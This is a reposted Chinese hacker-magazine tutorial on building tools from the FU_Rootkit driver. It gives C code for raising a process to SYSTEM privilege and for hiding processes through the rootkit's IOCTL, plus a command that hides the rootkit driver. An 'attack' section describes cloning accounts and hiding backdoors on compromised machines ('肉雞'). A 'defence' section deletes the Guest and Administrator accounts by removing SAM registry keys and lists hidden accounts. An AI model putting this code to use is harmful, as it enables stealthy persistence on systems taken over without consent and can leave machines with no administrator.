閱讀635 返回首頁    go 阿裏雲 go 技術社區[雲棲]


[轉貼]提升進程權限為debug權限,無法禁止進程

 
提升進程權限為debug權限,無法禁止進程
2007-03-30 20:58

在2004年11期黑防上刊登了《小工具巧刪Guest/Administrator賬戶》這篇文章,有不少朋友來信詢問工具是如何編寫的,其實這個工具裏麵大部分代碼是我拷貝FU_Rootkit過來的。既然朋友們喜歡,這幾天我又多了好多想法,那我就來講講怎麼充分挖掘利用FU_Rootkit吧!
先去www.rootkit.com把FU_Rootkit 給Down下來,以前它在Windows 2000專業版下麵提升進程權限有問題,新版本已經修複這個問題。FU_Rootkit也算是“養在深閨人未識”了,比起Hxdef、AFX RootKit來名氣小多了,不過是金子終究是要發光的,這不,今天我們就讓它來發光了!
FU_Rootkit是開源的,用C語言編寫,很容易移植。我的開發環境是Windows 2000+SP4+VC6.0。FU_Rootkit主程序包括2個部分:Fu.exe和Msdirectx.sys。 Msdirectx.sys能直接載入核心內存,Fu.exe則是相應的應用程序。先來看看它的部分功能:
[-pl] xxx 列舉所有運行進程
[-ph] #PID 隱藏進程標識符為PID的進程
[-pld] 列舉所有載入驅動程序
[-phd] DRIVER_NAME 隱藏指定驅動
[-pas] #PID 提升進程標識符為PID的進程權限至SYSTEM
[-prl] 列出可用的權限名單
[-prs] #PID #privilege_name 提升進程標識符為PID的進程權限至指定權限
[-pss] #PID #account_name 改變進程令牌和SID
可以看出FU_Rootkit不僅可以隱藏進程和驅動,改變進程令牌和SID,還可以例舉用Hook技術隱藏的進程和驅動。我們今天要做的就是利用Msdirectx.sys完成我們自己的黑客工具集的編寫!
權限提升
有了權限我們才能任意地操作,讓電腦為我們實現各種功能,所以第一步首先是權限提升。
我們知道,提升進程權限可以用Psu工具,FU_Rootkit也能夠實現這個功能,它可以將任意進程提升到SYSTEM權限——不光可以給其它進程提升權限,還可以把自己的進程也提升為SYSTEM權限哦(在下麵的文章中你將可以看到這個功能是多麼的有用)!
第一步:載入Msdirectx.sys
具體代碼見InitDriver()函數。其實朋友們大可不必完全看懂這些代碼,把函數直接拷貝過去就OK了。
第二步:查找進程的PID
代碼如下:
const char DESTPROC[19] = "UserManager.exe"; // UserManager.exe是程序的進程名稱
AddPrivilege(SE_DEBUG_NAME); //提升進程DEBUG權限
HANDLE hRemoteProcess = NULL;
DWORD pid = ProcessToPID(DESTPROC);//這裏的pid就是我們進程PID
// ProcessToPID函數如下:
DWORD ProcessToPID(const char *InputProcessName)
//將進程名轉換成進程PID的函數
{
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
HANDLE hProcess = NULL;
HMODULE hMod = NULL;
char szProcessName[MAX_PATH] = "UnknownProcess";
//提升進程權限至DEBUG權限
AddPrivilege(SE_DEBUG_NAME);
// 計算目前有多少進程, aProcesses[]用來存放有效的進程PIDs
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )
{
return 0;
}
cProcesses = cbNeeded / sizeof(DWORD);
// 按有效的PID遍曆所有的進程
for ( i = 0; i < cProcesses; i++ )
{
// 打開特定PID的進程
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, aProcesses[i]);
// 取得特定PID的進程名
if ( hProcess )
{
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
{
GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName) );
//將取得的進程名與輸入的進程名比較,如相同則返回進程PID
if(!stricmp(szProcessName, InputProcessName))
{
CloseHandle( hProcess );
return aProcesses[i];
}
}
}//end of if ( hProcess )
}//end of for
//沒有找到相應的進程名,返回0
CloseHandle( hProcess );
return 0;
}
第三步:提升進程權限至SYSTEM
具體代碼見UpdateToSystem()函數。這樣我們的進程UserManager.exe就具備了SYSTEM權限了。
攻擊篇
當你得到肉雞的SYSTEM權限後,當然要把自己的後門進程或驅動器隱藏,然後克隆賬號,留個隱藏賬號什麼的,下麵我們就來看看這些功能如何用程序來實現。
1.克隆帳號
各位朋友看到小榕的CA工具是不是很眼饞,想不想自己寫一個?在黑防2003年的第7期《C語言克隆賬號》上已經有具體介紹。一般來講,克隆賬號的方法有2種:一種是利用係統服務的SYSTEM權限讀寫SAM文件;第二種是利用驅動提升進程權限。我們這裏采用第二種辦法。在《C語言克隆賬號》一文中,由於其不具備SYSTEM權限,需要手工修改注冊表才能夠操作注冊表SAM文件夾,比較麻煩。在我們這裏當然是沒有問題的,將其代碼COPY過來,粘在我們工程裏麵就可以了。
2.進程隱藏
進程隱藏實乃木馬病毒的必備防身本領,FU_Rootkit中的最基本功能之一就是進程隱藏,首先我們要知道進程的PID或者進程名,然後才能將它隱藏,隱藏代碼如下:
DWORD HideProc(DWORD pid)//pid是你要隱藏的進程的PID
{
DWORD d_bytesRead;
DWORD success;
if (!Initialized)
{
return ERROR_NOT_READY;
}
success = DeviceIoControl(gh_Device,
IOCTL_ROOTKIT_HIDEME,
(void *) &pid,
sizeof(DWORD),
NULL,
0,
&d_bytesRead,
NULL);
return success;
}
假如你要想找出隱藏的進程,可以采用工具RTDector0.62工具,黑防以前就介紹過。
3. 驅動隱藏
驅動隱藏?很少見吧。有經驗的管理員一般都會使用命令Drivers.exe來查看載入的驅動(Drivers.exe可以在Windows 2000的資源包裏麵找到),
看到Msdirectx.sys暴露出來了吧?而FU_Rootkit就可以把自己的 Msdirectx.sys隱藏起來,運行的命令是:“C:/fu.exe –phd msdirectx.sys”。當然這個功能我們也可以很輕鬆地移植到我們的程序中去。

防禦篇
千萬不要以為FU_Rootkit得到SYSTEM權限隻是用來攻擊,不能防守,其實Rootkit是一把“雙刃劍”,運用得當,同樣是防禦的好幫手。同時,作為一名菜鳥,當然是防守為先,所以請看防守篇。
1. 係統用戶查看
眼下隻要翻開一本黑客雜誌,經常看到什麼“隱藏帳號”、“不死帳號”什麼的,嚇得我等菜鳥心驚膽顫,經常對著用戶管理發呆,究竟有沒有問題呢?這裏我們可以利用LPUSER_INFO_3讀取用戶信息,包括用戶名、用戶全名、用戶描述、登錄次數、登錄權限以及上次登錄時間等參數,代碼較長而且簡單,這裏就不貼了,有興趣的可以查看DWORD CUserManagerDlg::UserALLE()函數。
當然,列舉賬號可以直接從SAM//SAM//Domains//Account//Users//Names/中讀取,然後與LPUSER_INFO_3中讀出來的賬號進行對比,這樣就能找出隱藏的賬號,將那些隱藏的、不死的統統打回原形,讓你把賬號看得“清清楚楚,明明白白”。
2. 刪除Guest
先來看看如何刪除Guest用戶吧。獲取SYSTEM權限後,隻要刪除在注冊表SAM文件夾中對應的Guest和000001F5文件夾就OK了!
void CUserManagerDlg::Deleteguest()
{
BOOL upResult;
upResult=UpdateToSystem();
//先查看一下進程提示權限至SYSTEM成功沒有
if(upResult)//如果權限提升SYSTEM成功的話
{
// 刪除GUEST用戶!
BOOL dResult;
dResult=DelNT(HKEY_LOCAL_MACHINE,"SAM//SAM//Domains//Account//Users//Names//Guest");//刪除Guest文件夾
BOOL dResult2;
dResult2=DelNT(HKEY_LOCAL_MACHINE,"SAM//SAM//Domains//Account//Users//000001F5");//刪除guest對應的ID號000001F5文件夾
if(dResult&&dResult2)
{
AfxMessageBox("成功刪除GUEST用戶!");
}
else
{
AfxMessageBox("刪除GUEST用戶失敗!");
}
}
else
{
AfxMessageBox("提升至SYSTEM權限失敗!");
}
}
其中DelNT()函數是專門定義用來刪除注冊表子鍵的函數。
3. 刪除Administrator
看到標題你可不要嚇一跳,Administrator一般情況下是不能刪除的,當然你可以到控製麵板->管理工具->計算機管理裏麵重命名該賬戶,也可以使用NT Resource Kit提供的Passprop工具啟用對Administrator的鎖定。我們這裏當然要挑戰極限:刪除Administrator!代碼跟刪除Guest用戶的代碼差不多,換個參數就可以了,分別刪除注冊表SAM文件夾中的Administrator和000001F4文件夾就可以了。而且可以在Administrator當前用戶下刪除,強吧?嘿嘿。假如你隻有這麼一個管理員賬號的話呢,不好意思,恭喜你:你的機器上從此沒有管理員了!

小提示:強烈建議刪除Administrator之前一定要先創建一個其它名字的管理員賬號!據《微軟信息安全文集》中說,刪除Administrator和Guest係統內置賬戶有可能導致破壞SAM數據庫,不過《微軟信息安全文集》的作者同時聲明:經他測試,沒有發現副作用。

4. 查殺進程篇
朋友們是否經常遇到這種情況:在任務管理器中發現一個未知進程,並且殺不掉,說是權限不夠,這個問題在我們獲取System權限後就不再是問題,現在病毒、木馬等都是雙進程,互相監控,給我們查殺進程帶來很大不便,需要我們能夠同時查殺多個進程。選用Listview控件作為進程的列舉控件,將Checkbox選項選中,這樣我們就可以同時選中多個進程進行查殺,爽吧?!
5. 列舉用Hook技術隱藏的進程和驅動
這個功能就是FU_Rootkit的過人之處了,可以幫助你查找利用HOOK技術隱藏的進程和木馬。實現方法比較簡單,大家可以去源碼中查看ListProc(void *buffer, int buff_size)和ListDriv(void)函數。

本文利用FU_Rootkit獲取SYSTEM權限後,完成了很多實用的黑客小工具, System和Administrator權限一般人看起來感覺都差不多,但在一些與係統內核交互的細節上,可以看出System權限要更大一些。譬如說注冊表中的某些文件夾、對物理內存有讀寫能力等方麵。因此,獲取System權限後所能做的事情遠遠不止我們上麵所說的這些,希望大家共同挖掘。

 

最後更新:2017-04-02 00:06:21

  上一篇:go [轉貼]Gloomy對Windows內核的分析(研究CreateProcess)
  下一篇:go [原創]一個為Process取得SYSTEM令牌的簡單方法